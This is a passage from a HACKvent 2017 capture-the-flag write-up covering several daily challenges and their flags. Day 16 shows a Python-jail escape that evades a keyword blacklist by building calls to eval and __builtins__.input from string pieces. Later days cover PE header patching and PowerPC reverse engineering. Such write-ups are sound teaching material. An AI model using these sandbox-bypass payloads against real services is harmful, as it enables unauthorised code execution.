We could extend the python-script to get each page and look for a flag by searching for the string HV17. Because there where only 24 URLs I looked them up by myself and finally found:

http://challenges.hackvent.hacking-lab.com:3958/gallery/37qKYVMANnIdJ2V2EDberGmMz9JzS1pfRLVWaIKuBDw:

Done 🙂

The flag is HV17-el2S-0Td5-XcFi-6Wjg-J5aB.


Day 16: Try to escape …


Author: pyth0n33
… from the snake cage
Santa programmed a secure jail to give his elves access from remote. Sadly the jail is not as secure as expected.

nc challenges.hackvent.hacking-lab.com 1034

Let’s give it a try:

user@host:~$ nc challenges.hackvent.hacking-lab.com 1034 
                        _____
                    .-'`     '.
                 __/  __       \\
                /  \ /  \       |    ___
               | /`\| /`\|      | .-'  /^\/^\\
               | \(/| \(/|      |/     |) |)|
              .-\__/ \__/       |      \_/\_/__..._
      _...---'-.                /   _              '.
     /,      ,             \   '|  `\                \\
    | ))     ))           /`|   \    `.       /)  /) |
    | `      `          .'       |     `-._         /
    \                 .'         |     ,_  `--....-'
     `.           __.' ,         |     / /`'''`
       `'-.____.-' /  /,         |    / /
           `. `-.-` .'  \        /   / |
             `-.__.'|    \      |   |  |-.
                _.._|     |     /   |  |  `'.
          .-''``    |     |     |   /  |     `-.
       .'`         /      /     /  |   |        '.
     /`           /      /     |   /   |\         \\
    /            |      |      |   |   /\          |
   ||            |      /      |   /     '.        |
   |\            \      |      /   |       '.      /
   \ `.           '.    /      |    \        '---'/
    \  '.           `-./        \    '.          /
     '.  `'.            `-._     '.__  '-._____.'--'''''--.
       '-.  `'--._          `.__     `';----`              \\
          `-.     `-.          `."'```                     ;
             `'-..,_ `-.         `'-.                     /
                    '.  '.           '.                 .'

Challenge by pyth0n33. Have fun!



The flag is stored super secure in the function SANTA!
>>> a = 

We can input something to a variable a and the flag seems to be stored in a function called .

>>> a = SANTA()
name 'santa' is not defined
>>> a = 

It took some time that I realized that the actual problem here is that the input seems to be lower-cased before being evaluated. That’s why the super secure function SANTA is defined in upper case. When entering SANTA the input is converted to lower-case santa, which is not defined.

Maybe we can use eval in combination with upper:

>>> a = eval("santa()".upper())
Denied
>>> a = 

Denied!? Seems like there has been implemented some kind of blacklist. After trying around a little bit I stumbled upon the following:

>>> a = denied
>>> a = print(a)
['import', 'upper', 'lower', 'open', 'exit', 'compile', 'chr', '__import__', 'object', 'assert', '__builtins__', 'exec', 'pper', 'per']

The string-array denied seems to be the blacklist.

There are also single-characters which are blacklisted:

>>> a = x
Denied

I identified the following characters as being accepted:

a, c, d, e, i, l, n, o, p, r, s, t, v

After trying out different ways to call the SANTA function I decided to focus on the denied array looking for some useful function:

>>> a = denied
>>> a = print(a)
['import', 'upper', 'lower', 'open', 'exit', 'compile', 'chr', '__import__', 'object', 'assert', '__builtins__', 'exec', 'pper', 'per']
>>> a = print(eval(denied[10]+".__dict__"))
{'all': , 'str': , 'eval': , 'Exception': , 'any': , 'exec': , 'input': , 'print': , 'repr': }

The builtin function input evaluates the input as python-code before returning. Thus we could evaluate unfiltered input.

Unfortunately the u in input is not an accepted character and thus our input would be blacklisted.

Here again our very helpful denied-array comes into play again:

>>> a = eval("eval("+denied[10]+".inp"+denied[1][0]+"t())")
print("bfgxu")
bfgxu
>>> a = 

Nice! We called the function __builtins__.input() by borrowing the u from the denied-element upper.

Now we can evaluate unfiltered input:

>>> a = eval("eval("+denied[10]+".inp"+denied[1][0]+"t())")
print(SANTA())
No flag for you!
>>> a = 

Hm, no flag yet. After yet another trying-around I supposed that the function needs to be passed an argument:

>>> a = eval("eval("+denied[10]+".inp"+denied[1][0]+"t())")
print(SANTA("test"))
qt
>>> a = 

Let’s try something longer. The flag-syntax is always a good idea:

>>> a = eval("eval("+denied[10]+".inp"+denied[1][0]+"t())")
print(SANTA("HV17-xxxx-xxxx-xxxx-xxxx-xxxx"))
13371~%3.<*3?z./7>151x*<0
>>> a = 

1337? This cannot be a coincidence!?

>>> a = eval("eval("+denied[10]+".inp"+denied[1][0]+"t())")
print(SANTA("13371337133713371337133713371"))
HV17-J41l-esc4-p3ed-w4zz-3asy
>>> a = 

Great! It seems that fhe flag was XOR-ed with "13371337...". This encrypted flag is yet again XOR-ed with the input to the SANTA-function and then returned.

The flag is HV17-J41l-esc4-p3ed-w4zz-3asy.


Day 17: Portable NotExecutable


Author: HaRdLoCk
here is your flag.

but wait – its not running, because it uses the new Portable NotExecutable Format. this runs only on Santas PC. can you fix that?

get the flag here

Hint #1: IMAGE_FILE_HEADER and its friends
Hint #2: No reversing/bruteforcing needed. Just make it run …
Hint #3: take the hint in the file serious, the black window should not appear (wine and cmd users might not see it – change OS or how you run the exe)

At first I started up kali-linux and began to analyze the file:

user@host:~$ unzip Portable_NotExecutable.zip
Archive:  Portable_NotExecutable.zip
  inflating: Portable_NotExecutable.exe  
user@host:~$ file Portable_NotExecutable.exe
Portable_NotExecutable.exe: data
user@host:~$ binwalk Portable_NotExecutable.exe

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

user@host:~$ strings Portable_NotExecutable.exe
Win32 only!
HACKvent
CODE
`DATA
.idata
.rsrc
QZ^&
5@0@
hz0@
hS0@
hD0@
j
5&2@
5&2@
5&2@
h62@
h62@
5*2@
5.2@
h:3@
522@
hJ3@
5.2@
5*2@
HV17
h"1@
h21@
% A@
%$A@
%(A@
%,A@
%0A@
HACKvent_Class
HACKvent 2017 - Portable NotExecutable
EDIT
BUTTON
Flag
Exit
Tahoma
7pQmc1Hnw4j0fEubLT3etr8BJVN2KDGSolO5IhX9WsyYdAFRzPkxCqg6ZUivaM
KERNEL32.dll
GDI32.dll
USER32.dll
GetModuleFileNameA
CloseHandle
ExitProcess
CreateFileMappingA
MapViewOfFile
RtlMoveMemory
CreateFileA
GetModuleHandleA
CreateFontA
GetMessageA
GetDesktopWindow
TranslateMessage
ShowWindow
GetWindowRect
DispatchMessageA
DefWindowProcA
PostQuitMessage
CreateWindowExA
MoveWindow
RegisterClassExA
SendDlgItemMessageA
SetFocus
LoadIconA
LoadCursorA
UpdateWindow
IsDialogMessageA
DZP#
;MG$$$)
)1.A
+Zl}G
?Vc	?Vb
3>64r
2g|+
HV17-GasR-zkb3-cVd9-KdAP-txi is almost good. but why the black window?

file does not recognize any known file-structure. According to the challenge description the file uses the new Portable NotExecutable Format, which obviously has not been added to the official file-formats yet 😉

Nevertheless we have got a hint using strings:

HV17-GasR-zkb3-cVd9-KdAP-txi is almost good. but why the black window?

After comparing the file with some other ordinary PE-files in a hexeditor I changed my mind and decided to further analyze the file on windows.

Just executing the file raises an error. Considering the hints we have to patch the file to make it run.

In order to understand what needs to be patched I used PEview, which is a good tool to view PE-files on windows: http://wjradburn.com/software/.

For example opening calc.exe looks like the following:

On the left side we can see all headers and sections within the PE-file. If we select a header we can view the single fields and values on the right side.

Let’s have a look at our NotExecutable file:

The first thing to notice is that there is no valid DOS signature and the PE magic signature was changed to PNE.

The byte at offset 0x01 should be edited from 0x53 to 0x5A (also see screenshot from calc.exe).
The bytes at offset 0x41 and 0x42 should be edited from 0x4E to 0x45 and from 0x45 to 0x00 (also see screenshot from calc.exe).

[0x01: 0x53 -> 0x5A Signature: IMAGE_DOS_SIGNATURE MZ]
[0x41: 0x4E -> 0x45 Signature: IMAGE_NT_SIGNATURE PE]
[0x42: 0x45 -> 0x00 Signature: IMAGE_NT_SIGNATURE PE]

I patched the file and reopened it in PEView:

Looks better. Now PEView detects a valid DOS header. Let’s have a closer look at the header fields:

Nothing suspicious so far until the last field Offset to New EXE Header. This field indicates where the actual EXE header begins. But the value is 0x20 !? As we can see at the offset in the column pFile the DOS header is even longer. Comparing it to other PE-files I decided to patch this value from 0x20 to 0x40.

[0x3C: 0x20 -> 0x40 Offset to New EXE Header: 0x40]

And yet again reopened the file in PEView:

Looks even better now. PEView can parse the NT header and displays all sections. But there is still something suspicious: the 5th section after .src does not have a name. And after this no-named section header follows a SECTION CODE? And after this a section called CE1@ something? There must be something else messed up.

When viewing the hex-data we can clearly see 4 section names: CODE, DATA, .idata and .rsrc:

Why those other sections?

Having a look at the IMAGE_FILE_HEADER something seems suspicious again:

Number of sections 6? That seems not correct. Let’s patch this to 4.

[0x46: 0x06 -> 0x04 Number of Sections: 4]

Yet again I patched the file and reopened it in PEView:

That’s better! Now the sections are parsed correctly.

Let’s give it a try and rerun the patched binary:

After clicking on Flag a flag appears! Hm, but wait. It’s not the correct flag.

And why is there a terminal in the background?

That’s where our hint comes into play:

why the black window?

The executable seems to be run as a console-program. But it seems to be a GUI-program. Let’s review the headers in PEView:

In the IMAGE_OPTIONAL_HEADER there is a field called Subsystem. This field indicates whether the binary is a console-program (CUI) or a GUI-program. The current value is 3 = IMAGE_SUBSYSTEM_WINDOWS_CUI. Let’s change this:

[0x9C: 0x03 -> 0x02 Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI]

And relaunch the program:

No black window anymore.. and another flag! This time the right one 🙂

The flag is HV17-VIQn-oHcL-hVd9-KdAP-txiK.


Day 18: I want to play a Game (Reloaded)


Author: HaRdLoCk
Last year we played some funny games together – do you remember? ready for another round?

download the game here and play until you find the flag.

get the game

Hint #1: follow the fake flag in the unsigned binary. this challenge needs RE

Running the game with a ps-emulator reveals a bonus flag. For the actual flag we have to do some RE:

At first I mounted the ISO-image:

user@host:~$ mkdir /media/tmp
user@host:~$ mount BLES-HV17.iso /media/tmp/
mount: /dev/loop1 is write-protected, mounting read-only
user@host:~$ cd /media/tmp/
user@host:/media/tmp$ ls -al
total 61
dr-xr-xr-x 1 root root  2048 Nov 15 21:09 .
drwxr-xr-x 1 root root    80 Dec 30 15:21 ..
-r-xr-xr-x 1 root root 57234 Nov 15 21:04 ICON0.PNG
-r-xr-xr-x 1 root root   916 Nov 15 21:08 PARAM.SFO
dr-xr-xr-x 1 root root  2048 Nov 15 21:09 USRDIR
user@host:/media/tmp$ cd USERDIR
user@host:/media/tmp/USERDIR$ ls -al
total 1091
dr-xr-xr-x 1 root root    2048 Nov 15 21:09 .
dr-xr-xr-x 1 root root    2048 Nov 15 21:09 ..
-r-xr-xr-x 1 root root 1017681 Nov 15 19:10 EBOOT.BIN
-r-xr-xr-x 1 root root   94544 Nov 15 19:13 hackvent.self
user@host:/media/tmp/USERDIR$ file *
EBOOT.BIN:     ELF 64-bit MSB executable, 64-bit PowerPC or cisco 7500, version 1 (SYSV), statically linked, not stripped
hackvent.self: data

The binary we have to analyze is the EBOOT.BIN. Let’s start up radare2:

user@host:/media/tmp/USERDIR$ r2 EBOOT.BIN
Warning: Cannot initialize dynamic strings
[0x10000000]> aaaa
[Cannot find function 'entry0' at 0x10000000 entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[aav: using from to 0x0 0xf8751)
Using vmin 0x10000 and vmax 0x10036130
aav: Cannot find section at 0x268442177
[x] Analyze value pointers (aav)
[can't find function prototype for sym..deregister_tm_clonesnctions (aan)
can't find function prototype for sym.._initialize
...

Let’s see which functions exists:

[0x10000000]> afl
0x00010200    1 44           loc.._init
0x00010230    1 24           sym..deregister_tm_clones
0x00010290    1 28           sym..register_tm_clones
0x000102f0    1 204          sym..__do_global_dtors_aux
0x000103c0    1 112          sym..frame_dummy
0x00010488    1 288          sym..__syscalls_init
0x000105b8    1 48           sym.._initialize
0x000105f8    1 208          sym..DrawBackground2D
0x000106d8    1 804          sym..drawScene
0x00010a08    3 188          sym..LoadTexture
0x00010ad0    1 148  -> 220  sym..main
0x00010b78    1 72           loc.00010b78
0x00010be0    1 64   -> 116  sym..i_must_break_line
0x00010c34    1 52           loc.00010c34
0x00010d10    1 112          sym..ResetFont
0x00010d90    4 868  -> 812  sym..AddFontFromBitmapArray
0x000111b8    1 596  -> 788  sym..AddFontFromTTF
0x00011514    2 12   -> 192  loc.00011514
0x00011560    1 44           sym..SetCurrentFont
0x000115b0    1 40           sym..SetFontSize
0x000115e8    1 16           sym..SetFontColor
...

Ouch.. a lot of functions. After searching around for a while and having a look at some functions I came upon the DrawString function:

[0x10000000]> pdf @ sym..DrawString
/ (fcn) sym..DrawString 208
|   sym..DrawString ();
|           ; CALL XREF from 0x00010754 (sym..drawScene)
|           ; CALL XREF from 0x00010784 (sym..drawScene)
|           ; CALL XREF from 0x000107b4 (sym..drawScene)
|           ; CALL XREF from 0x00010978 (sym..drawScene)
|           ; CALL XREF from 0x000109d0 (sym..drawScene)
|           0x00012120      fbe1ffe8       std r31, -0x18(r1)
|           0x00012124      ebe28228       ld r31, -0x7dd8(r2)
|           0x00012128      7c0802a6       mflr r0
|           0x0001212c      dbc1fff0       stfd f30, -0x10(r1)
|           0x00012130      ffc01090       fmr f30, f2
|           0x00012134      dbe1fff8       stfd f31, -8(r1)
|           0x00012138      f8010010       std r0, 0x10(r1)
|           0x0001213c      fba1ffd8       std r29, -0x28(r1)
|           0x00012140      fbc1ffe0       std r30, -0x20(r1)
|           0x00012144      f821ff41       stdu r1, -0xc0(r1)
|           0x00012148      801f20f8       lwz r0, 0x20f8(r31)
...

I was not wondering about the code itself but rather the 5 XREFs from drawScene. The function DrawString must simply.. well.. draw a string and it’s called 5 times from a function drawScene. This function must be customized to draw a specific scene for the game. Let’s go on there:

[0x10000000]> pdf @ sym..drawScene
/ (fcn) sym..drawScene 804
|   sym..drawScene (int arg_70h, int arg_90h, int arg_b0h, int arg_d0h, int arg_140h);
|           ; arg int arg_70h @ r1+0x70
|           ; arg int arg_90h @ r1+0x90
|           ; arg int arg_b0h @ r1+0xb0
|           ; arg int arg_d0h @ r1+0xd0
|           ; arg int arg_140h @ r1+0x140
|           0x000106d8      fbc1fff0       std r30, -0x10(r1)
|           0x000106dc      7c0802a6       mflr r0
|           0x000106e0      f8010010       std r0, 0x10(r1)
|           0x000106e4      3bc0001d       li r30, 0x1d
|           0x000106e8      fbe1fff8       std r31, -8(r1)
|           0x000106ec      f821fec1       stdu r1, -0x140(r1)
|           0x000106f0      3be10070       addi r31, r1, 0x70
|           0x000106f4      48004f7d       bl sym..tiny3d_Project2D
|           0x000106f8      60000000       nop
|           0x000106fc      3c600040       lis r3, 0x40
|           0x00010700      6063ffff       ori r3, r3, 0xffff
|           0x00010704      4bfffef5       bl sym..DrawBackground2D   ; floating_point round(arithmetic x);
|           0x00010708      38800018       li r4, 0x18
|           0x0001070c      3860000c       li r3, 0xc
|           0x00010710      48000ea1       bl sym..SetFontSize
|           0x00010714      60000000       nop
|           0x00010718      38600001       li r3, 1
|           0x0001071c      48000e45       bl sym..SetCurrentFont
|           0x00010720      60000000       nop
|           0x00010724      3860ffff       li r3, -1
|           0x00010728      38800000       li r4, 0
|           0x0001072c      78630020       clrldi r3, r3, 0x20
|           0x00010730      48000eb9       bl sym..SetFontColor
|           0x00010734      60000000       nop
|           0x00010738      38600000       li r3, 0
|           0x0001073c      48000f05       bl sym..SetFontAutoCenter
|           0x00010740      60000000       nop
|           0x00010744      e90281d0       ld r8, -0x7e30(r2)
|           0x00010748      e8a281d8       ld r5, -0x7e28(r2)
|           0x0001074c      c0280000       lfs f1, (r8)
|           0x00010750      fc400890       fmr f2, f1
|           0x00010754      480019cd       bl sym..DrawString
|           0x00010758      60000000       nop
|           0x0001075c      3c6000ff       lis r3, 0xff
|           0x00010760      d8210128       stfd f1, 0x128(r1)
|           0x00010764      38800000       li r4, 0
|           0x00010768      606300ff       ori r3, r3, 0xff
|           0x0001076c      48000e7d       bl sym..SetFontColor
|           0x00010770      60000000       nop
|           0x00010774      e92281d0       ld r9, -0x7e30(r2)
|           ;-- .LANCHOR1:
|           ;-- t_reentp:
|           0x00010778      c8210128       lfd f1, 0x128(r1)
|           0x0001077c      e8a281e0       ld r5, -0x7e20(r2)
|           0x00010780      c0490000       lfs f2, (r9)
|           0x00010784      4800199d       bl sym..DrawString
|           0x00010788      60000000       nop
|           0x0001078c      3860ffff       li r3, -1
|           0x00010790      d8210128       stfd f1, 0x128(r1)
|           0x00010794      38800000       li r4, 0
|           0x00010798      78630020       clrldi r3, r3, 0x20
|           0x0001079c      48000e4d       bl sym..SetFontColor
|           0x000107a0      60000000       nop
|           0x000107a4      e94281d0       ld r10, -0x7e30(r2)
|           0x000107a8      c8210128       lfd f1, 0x128(r1)
|           0x000107ac      e8a281e8       ld r5, -0x7e18(r2)
|           0x000107b0      c04a0000       lfs f2, (r10)
|           0x000107b4      4800196d       bl sym..DrawString
|           0x000107b8      60000000       nop
|           0x000107bc      e94281f0       ld r10, -0x7e10(r2)
|           0x000107c0      7fc903a6       mtctr r30
|           0x000107c4      39200000       li r9, 0
|           0x000107c8      38c100b0       addi r6, r1, 0xb0
|           0x000107cc      38e100d0       addi r7, r1, 0xd0
|           0x000107d0      810a0000       lwz r8, (r10)
|           0x000107d4      83ca0004       lwz r30, 4(r10)
|           0x000107d8      808a0038       lwz r4, 0x38(r10)
|           0x000107dc      88aa003c       lbz r5, 0x3c(r10)
|           0x000107e0      818a0034       lwz r12, 0x34(r10)
|           0x000107e4      800a0044       lwz r0, 0x44(r10)
|           0x000107e8      816a0048       lwz r11, 0x48(r10)
|           0x000107ec      806a004c       lwz r3, 0x4c(r10)
|           0x000107f0      910100f0       stw r8, 0xf0(r1)
|           0x000107f4      810a0008       lwz r8, 8(r10)
|           0x000107f8      93c100f4       stw r30, 0xf4(r1)
|           0x000107fc      83ca000c       lwz r30, 0xc(r10)
|           0x00010800      910100f8       stw r8, 0xf8(r1)
|           0x00010804      810a0010       lwz r8, 0x10(r10)
|           0x00010808      93c100fc       stw r30, 0xfc(r1)
|           0x0001080c      83ca0014       lwz r30, 0x14(r10)
|           0x00010810      91010100       stw r8, 0x100(r1)
|           0x00010814      810a0018       lwz r8, 0x18(r10)
|           0x00010818      93c10104       stw r30, 0x104(r1)
|           0x0001081c      8bca001c       lbz r30, 0x1c(r10)
|           0x00010820      91010108       stw r8, 0x108(r1)
|           0x00010824      810a0020       lwz r8, 0x20(r10)
|           0x00010828      9bc1010c       stb r30, 0x10c(r1)
|           0x0001082c      83ca0024       lwz r30, 0x24(r10)
|           0x00010830      91010110       stw r8, 0x110(r1)
|           0x00010834      810a0028       lwz r8, 0x28(r10)
|           0x00010838      93c10114       stw r30, 0x114(r1)
|           0x0001083c      83ca002c       lwz r30, 0x2c(r10)
|           0x00010840      91010118       stw r8, 0x118(r1)
|           0x00010844      810a0030       lwz r8, 0x30(r10)
|           0x00010848      93c1011c       stw r30, 0x11c(r1)
|           0x0001084c      83c100f0       lwz r30, 0xf0(r1)
|           0x00010850      91010120       stw r8, 0x120(r1)
|           0x00010854      810a0040       lwz r8, 0x40(r10)
|           0x00010858      93c100d0       stw r30, 0xd0(r1)
|           0x0001085c      83c100f4       lwz r30, 0xf4(r1)
|           0x00010860      93c100d4       stw r30, 0xd4(r1)
|           0x00010864      83c100f8       lwz r30, 0xf8(r1)
|           0x00010868      93c100d8       stw r30, 0xd8(r1)
|           0x0001086c      83c100fc       lwz r30, 0xfc(r1)
|           0x00010870      93c100dc       stw r30, 0xdc(r1)
|           0x00010874      83c10100       lwz r30, 0x100(r1)
|           0x00010878      93c100e0       stw r30, 0xe0(r1)
|           0x0001087c      83c10104       lwz r30, 0x104(r1)
|           0x00010880      93c100e4       stw r30, 0xe4(r1)
|           0x00010884      83c10108       lwz r30, 0x108(r1)
|           0x00010888      93c100e8       stw r30, 0xe8(r1)
|           0x0001088c      8bc1010c       lbz r30, 0x10c(r1)
|           0x00010890      9bc100ec       stb r30, 0xec(r1)
|           0x00010894      83c10110       lwz r30, 0x110(r1)
|           0x00010898      93c100b0       stw r30, 0xb0(r1)
|           0x0001089c      83c10114       lwz r30, 0x114(r1)
|           0x000108a0      93c100b4       stw r30, 0xb4(r1)
|           0x000108a4      83c10118       lwz r30, 0x118(r1)
|           0x000108a8      93c100b8       stw r30, 0xb8(r1)
|           0x000108ac      83c1011c       lwz r30, 0x11c(r1)
|           0x000108b0      908100c8       stw r4, 0xc8(r1)
|           0x000108b4      808a0050       lwz r4, 0x50(r10)
|           0x000108b8      93c100bc       stw r30, 0xbc(r1)
|           0x000108bc      83c10120       lwz r30, 0x120(r1)
|           0x000108c0      98a100cc       stb r5, 0xcc(r1)
|           0x000108c4      80aa0054       lwz r5, 0x54(r10)
|           0x000108c8      91010090       stw r8, 0x90(r1)
|           0x000108cc      810a0058       lwz r8, 0x58(r10)
|           0x000108d0      894a005c       lbz r10, 0x5c(r10)
|           0x000108d4      93c100c0       stw r30, 0xc0(r1)
|           0x000108d8      918100c4       stw r12, 0xc4(r1)
|           0x000108dc      90010094       stw r0, 0x94(r1)
|           0x000108e0      91610098       stw r11, 0x98(r1)
|           0x000108e4      9061009c       stw r3, 0x9c(r1)
|           0x000108e8      908100a0       stw r4, 0xa0(r1)
|           0x000108ec      90a100a4       stw r5, 0xa4(r1)
|           0x000108f0      910100a8       stw r8, 0xa8(r1)
|           0x000108f4      994100ac       stb r10, 0xac(r1)
|           0x000108f8      7d0648ae       lbzx r8, r6, r9
|           0x000108fc      7d4748ae       lbzx r10, r7, r9
|           0x00010900      7d0a5278       xor r10, r8, r10
|           0x00010904      794a0620       clrldi r10, r10, 0x38
|           0x00010908      554807fe       clrlwi r8, r10, 0x1f
|           0x0001090c      2f880000       cmpwi cr7, r8, 0
|           0x00010910      419e0008       beq cr7, 0x10918
|           0x00010914      694a0001       xori r10, r10, 1
|           0x00010918      7d5f49ae       stbx r10, r31, r9
|           0x0001091c      39290001       addi r9, r9, 1
|           0x00010920      4200ffd8       bdnz 0x108f8
|           0x00010924      3900001d       li r8, 0x1d
|           0x00010928      39200000       li r9, 0
|           0x0001092c      38e10090       addi r7, r1, 0x90
|           0x00010930      7d0903a6       mtctr r8
|           0x00010934      60000000       nop
|           0x00010938      7d5f48ae       lbzx r10, r31, r9
|           0x0001093c      7d0748ae       lbzx r8, r7, r9
|           0x00010940      7d0a5278       xor r10, r8, r10
|           0x00010944      7d5f49ae       stbx r10, r31, r9
|           0x00010948      39290001       addi r9, r9, 1
|           0x0001094c      4200ffec       bdnz 0x10938
|           0x00010950      38600001       li r3, 1
|           0x00010954      39200000       li r9, 0
|           0x00010958      9921008d       stb r9, 0x8d(r1)
|           0x0001095c      48000ce5       bl sym..SetFontAutoCenter
|           0x00010960      60000000       nop
|           0x00010964      e94281d0       ld r10, -0x7e30(r2)
|           0x00010968      7fe5fb78       mr r5, r31
|           0x0001096c      e92281f8       ld r9, -0x7e08(r2)
|           0x00010970      c02a0000       lfs f1, (r10)
|           0x00010974      c0490000       lfs f2, (r9)
|           0x00010978      480017a9       bl sym..DrawString
|           0x0001097c      60000000       nop
|           0x00010980      38600001       li r3, 1
|           0x00010984      48000bdd       bl sym..SetCurrentFont
|           0x00010988      60000000       nop
|           0x0001098c      38600010       li r3, 0x10
|           0x00010990      38800010       li r4, 0x10
|           0x00010994      48000c1d       bl sym..SetFontSize
|           0x00010998      60000000       nop
|           0x0001099c      3860ffff       li r3, -1
|           0x000109a0      388000ff       li r4, 0xff
|           0x000109a4      78630020       clrldi r3, r3, 0x20
|           0x000109a8      48000c41       bl sym..SetFontColor
|           0x000109ac      60000000       nop
|           0x000109b0      38600001       li r3, 1
|           0x000109b4      48000c8d       bl sym..SetFontAutoCenter
|           0x000109b8      60000000       nop
|           0x000109bc      e9228200       ld r9, -0x7e00(r2)
|           0x000109c0      ebc281d0       ld r30, -0x7e30(r2)
|           0x000109c4      e8a28208       ld r5, -0x7df8(r2)
|           0x000109c8      c0490000       lfs f2, (r9)
|           0x000109cc      c03e0000       lfs f1, (r30)
|           0x000109d0      48001751       bl sym..DrawString
|           0x000109d4      60000000       nop
|           0x000109d8      38600000       li r3, 0
|           0x000109dc      48000c65       bl sym..SetFontAutoCenter
|           0x000109e0      60000000       nop
|           0x000109e4      38210140       addi r1, r1, 0x140
|           0x000109e8      e8010010       ld r0, 0x10(r1)
|           0x000109ec      ebc1fff0       ld r30, -0x10(r1)
|           0x000109f0      ebe1fff8       ld r31, -8(r1)
|           0x000109f4      7c0803a6       mtlr r0
\           0x000109f8      4e800020       blr

A lot of code. I have highlighted the calls to DrawString. Before the call of the 4th DrawString there are a lot of suspicious load/store/xor instructions. That’s where we should go deeper.

What followed was a lot of lookup-and-understand work. I looked up most of the instructions here: http://www.ds.ewi.tudelft.nl/vakken/in1006/instruction-set/.

I figured out that there are basically 3 memory-regions involved with 29-bytes. As the flag-syntax is HV17-xxxx-xxxx-xxxx-xxxx-xxxx this exactly matches the 29 bytes.

In the biggest block of code between 0x000107d0 and 0x000108fc (lines 73-148) lwz / lbz (Load Word/Byte and Zero) and stw / stb (Store Word/Byte and Zero) is used to initialize these memory-regions. The actual calculation is done between 0x00010900 and 0x0001094c (lines 149-168).

This was my first attempt to reverse these memory-regions:

0x090 = 0x00000040
0x094 = 0x00000044 (r0)
0x098 = 0x00000048 (r11)
0x09c = 0x0000004c (r3)
0x0a0 = 0x00000050 (r4)
0x0a4 = 0x00000054 (r5)
0x0a8 = 0x00000058 (r8)
0x0ac = 0x5c (b)

0x0b0 = 0x00000110
0x0b4 = 0x00000114
0x0b8 = 0x00000118
0x0bc = 0x0000011c
0x0c0 = 0x00000120
0x0c4 = 0x00000034
0x0c8 = 0x00000038
0x0cc = 0x3c (b)

0x0d0 = 0x000000f0
0x0d4 = 0x000000f4
0x0d8 = 0x000000f8
0x0dc = 0x000000fc
0x0e0 = 0x00000100
0x0e4 = 0x00000104
0x0e8 = 0x00000108
0x0ec = 0x10c (b)

0x0f0 = 0x00000000
0x0f4 = 0x00000004
0x0f8 = 0x00000008
0x0fc = 0x0000000c
0x100 = 0x00000010
0x104 = 0x00000014
0x108 = 0x00000018
0x10c = 0x1c (b)

0x110 = 0x00000020
0x114 = 0x00000024
0x118 = 0x00000028
0x11c = 0x0000002c
0x120 = 0x00000030

After further analyzing the code I understood that the initialized memory-regions are used as a offset into a predefined memory-region beginning at 0x40018 within the binary:

user@host:/media/tmp/USERDIR$ hexdump -C EBOOT.BIN | head -n 11768 | tail -n 10
00040000  00 01 04 30 00 01 04 30  00 00 00 00 00 00 00 00  |...0...0........|
00040010  00 00 00 00 00 00 00 00  08 33 cf a8 a0 3d 5e ac  |.........3...=^.|
00040020  a1 73 69 f4 57 37 aa c2  26 ee fc 61 f8 79 a4 cb  |.si.W7..&..a.y..|
00040030  e8 1d b5 21 b6 00 00 00  2b db 0d f9 06 e8 24 be  |...!....+.....$.|
00040040  c2 2a 6d b5 12 63 04 9a  8e 84 14 f9 5f 56 3d 82  |.*m..c......_V=.|
00040050  80 a6 6d 95 c6 00 00 00  6a be f3 67 8b e1 17 58  |..m.....j..g...X|
00040060  51 75 7d 38 27 39 83 0f  c1 3f b0 b5 c8 74 ff 1f  |Qu}8'9...?...t..|
00040070  45 df e8 d8 24 00 00 00  47 7f ff 00 44 53 c0 00  |E...$...G...DS..|
00040080  43 ff 80 00 00 00 00 00  42 00 00 00 42 80 00 00  |C.......B...B...|
00040090  77 65 6c 63 6f 6d 65 20  74 6f 20 61 6e 6f 74 68  |welcome to anoth|

Summing it all up I ended with the following python-script, which basically just XORs 3 bytes of the referenced memory-regions:

#!/usr/bin/python

s1 = "\x08\x33\xcf\xa8\xa0\x3d\x5e\xac\xa1\x73\x69\xf4\x57\x37\xaa\xc2\x26\xee\xfc\x61\xf8\x79\xa4\xcb\xe8\x1d\xb5\x21\xb6"
s2 = "\x2b\xdb\x0d\xf9\x06\xe8\x24\xbe\xc2\x2a\x6d\xb5\x12\x63\x04\x9a\x8e\x84\x14\xf9\x5f\x56\x3d\x82\x80\xa6\x6d\x95\xc6"
s3 = "\x6a\xbe\xf3\x67\x8b\xe1\x17\x58\x51\x75\x7d\x38\x27\x39\x83\x0f\xc1\x3f\xb0\xb5\xc8\x74\xff\x1f\x45\xdf\xe8\xd8\x24"


flag = ""
for i in range(len(s1)):
  bintmp = bin(ord(s2[i]) ^ ord(s1[i]))[2:]                # XOR byte from s1 and s2
  bintmp = "0" * (8-len(bintmp)) + bintmp                  # append leading zeros
  x = 0x0
  if (bintmp[7] == "1"): x = 0x01                          # if the 7th bit is set, final XOR with 0x1 is required
  flag += chr(ord(s1[i]) ^ ord(s2[i]) ^ ord(s3[i]) ^ x)    # final XOR

print(flag)

Running the script:

user@host:~$ ./ppc.py
HV17-5mJ3-yxcm-WiUX-nZgW-e0lT

Done!

The flag is HV17-5mJ3-yxcm-WiUX-nZgW-e0lT.


Day 19: Cryptolocker Ransomware


Author: Dykcik
Pay the price, Thumper did it already!
This flag has been taken for ransom. Transfer 10’000 Szabo to 0x1337C8b69bcb49d677D758cF541116af1F2759Ca with your HACKvent username (case sensitive) in the transaction data to get your personal decryption key. To get points for this challenge, enter the key in the form below.

Disclaimer: No need to spend r34l m0n3y!

Enter your 32-byte decryption key here. Type it as 64 hexadecimal characters without 0x at the beginning.

I started by googling for Szabo and cryptocurrency which lead me to Nick Szabo (https://en.wikipedia.org/wiki/Nick_Szabo), who is the developer of the phrase and concept of “smart contracts”. These smart contracts are used by Ethereum. Thus I started searching the provided address (0x1337C8b69bcb49d677D758cF541116af1F2759Ca) on https://etherscan.io/. That’s what I got:

So there is a wallet with this address and there are two transactions: a contract creation and another transaction. Let’s have a look at the actual transaction:

Somebody payed 0.01 Ether to the address. According to the challenge description Thumper already payed the price. So it’s no surprise that the hex-values in the field Input Data are the ASCII-characters T-h-u-m-p-e-r.

Viewing the Event Logs of the transaction we even get more information:

There are 4 x 32-Byte values. For the last one I selected Text which displays the words: Your key is here. According to the challenge description the key we have to enter is a 32-byte key (= 64 hexadecimal characters). Thus the first value must be the decryption key for Thumper (9880cccfe81a075ff0d029b4351ef4496ae452199b831634af57e5951466349d).

